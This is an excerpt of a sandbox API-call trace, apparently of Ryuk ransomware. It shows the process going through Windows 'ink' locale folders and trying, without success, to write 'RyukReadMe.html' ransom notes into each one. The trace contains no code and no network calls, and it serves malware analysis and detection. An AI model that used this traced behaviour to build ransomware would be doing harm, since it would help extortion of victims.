	[0163.538] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0163.538] SetLastError (dwErrCode=0x0) 
	[0163.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.538] GetLastError () returned 0x5
	[0163.538] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.539] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.539] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.539] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.539] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.540] SetLastError (dwErrCode=0x0) 
	[0163.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.540] GetLastError () returned 0x5
	[0163.540] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.540] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0163.540] SetLastError (dwErrCode=0x0) 
	[0163.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.541] GetLastError () returned 0x5
	[0163.541] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.584] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.584] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.584] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.584] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.585] SetLastError (dwErrCode=0x0) 
	[0163.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.585] GetLastError () returned 0x5
	[0163.585] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.585] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0163.586] SetLastError (dwErrCode=0x0) 
	[0163.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.586] GetLastError () returned 0x5
	[0163.586] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.587] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.587] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.587] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.587] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.587] SetLastError (dwErrCode=0x0) 
	[0163.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.588] GetLastError () returned 0x5
	[0163.588] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.588] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0163.588] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1
	[0163.588] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1
	[0163.588] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1
	[0163.589] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1
	[0163.589] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1
	[0163.589] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0163.589] SetLastError (dwErrCode=0x0) 
	[0163.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.589] GetLastError () returned 0x5
	[0163.589] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.591] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.591] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.591] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.591] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.591] SetLastError (dwErrCode=0x0) 
	[0163.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.592] GetLastError () returned 0x5
	[0163.592] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.592] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.592] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0163.592] SetLastError (dwErrCode=0x0) 
	[0163.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.592] GetLastError () returned 0x5
	[0163.592] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.593] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.593] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.594] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.594] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.594] SetLastError (dwErrCode=0x0) 
	[0163.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.594] GetLastError () returned 0x5
	[0163.594] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.594] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.595] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0163.595] SetLastError (dwErrCode=0x0) 
